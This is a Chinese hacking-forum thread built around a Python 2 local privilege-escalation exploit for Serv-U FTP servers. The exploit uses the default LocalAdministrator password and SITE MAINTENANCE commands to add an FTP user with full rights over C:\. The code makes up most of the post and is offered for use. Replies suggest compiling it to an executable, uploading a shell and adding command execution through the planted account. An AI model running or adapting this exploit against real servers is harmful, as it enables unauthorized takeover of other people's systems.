发新话题
打印

[原创]Python版的Serv-U提权BY pt007

[原创]Python版的Serv-U提权BY pt007

文章作者:pt007
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

#!c:\python24\python
#Python Serv-U All Version Local Exploit
#Author:pt007版权所有,转载请注明版权信息
#Version:1.0
#Usage:servu.py 127.0.0.1 43958

import sys
import os
import socket
import time

def usage(programname):
   print 'Python Serv-U All Version Local Exploit V1.0'
   print 'Auther:pt007 QQ:7491805'
   print 'Usage:%s 127.0.0.1 43958\r\n' %programname
   
buffer1='USER LocalAdministrator\r\n'
time.sleep(1)
buffer11='''PASS #l@$ak#.lk;0@P\r\n'''
time.sleep(1)
buffer2='SITE MAINTENANCE\r\n'
time.sleep(1)
buffer3='''\
-SETUSERSETUP\r\n
-IP=127.0.0.1\r\n
-PortNo=21\r\n
-User=test11\r\n
-Password=test11\r\n
-HomeDir=c:\\\r\n
-LoginMesFile=\r\n
-Disable=0\r\n
-RelPaths=0\r\n
-NeedSecure=0\r\n
-HideHidden=0\r\n
-AlwaysAllowLogin=0\r\n
-ChangePassword=1\r\n
-QuotaEnable=0\r\n
-MaxUsersLoginPerIP=-1\r\n
-SpeedLimitUp=-1\r\n
-SpeedLimitDown=-1\r\n
-MaxNrUsers=-1\r\n
-IdleTimeOut=600\r\n
-SessionTimeOut=-1\r\n
-Expire=0\r\n
-RatioUp=1\r\n
-RatioDown=1\r\n
-RatiosCredit=0\r\n
-QuotaCurrent=0\r\n
-QuotaMaximum=0\r\n
-Maintenance=System\r\n
-PasswordType=Regular\r\n
-Ratios=None\r\n
Access=c:\\|RWAMELCDP\r\n
QUIT\r\n'''

def main():
   if len(sys.argv)!=3:
      usage(sys.argv[0])
      sys.exit(1)

   s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) #建立TCP连接,IPv4,TCP
   try:
      s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))  #连接到指定的IP和端口
      s.send(buffer1)
      s.send(buffer11)
      s.send(buffer2)
      s.send(buffer3)
      time.sleep(1)

   except:
      print 'socket.error'
      sys.exit(2)
   
   
   print '成功加入FTP用户test11/test11!:)'
  

if __name__ == "__main__":main()
每个人都有属于自已的世界,人生因此而精彩,HACK就是我的世界!

TOP

servu貌似加了密码就没得搞。。没加密码随便搞。。
20字节够写什么?

TOP

引用:
这里是引用第[2 楼]xiaocool2006-10-05 15:20发表的:
在什么环境下好用??
一般Windows主机没有Python环境
你可以用Py2exe把楼主的代码编译成EXE,不过体积会好大,而且带个DLL

Py2exe可以在http://www.py2exe.org/下载到.

TOP

py写serv-u提权的确没什么意义.不过我估计楼主也不过是想练练py编程而已. :)
另外,lz写的这个程序还有点问题:
-IP=127.0.0.1
-PortNo=21
这里两项应该是根据对方ftp域ip决定的,而不是一概而论.
-HomeDir=c:
这里,万一系统盘不在c:,那么还得自己上传shell.比较麻烦,最好加个判断环境变量让程序自己修改
另外最好添加个利用此用户执行命令的功能,这样一个exp才完整

http://www.phpweblog.net/GaRY/

TOP

发新话题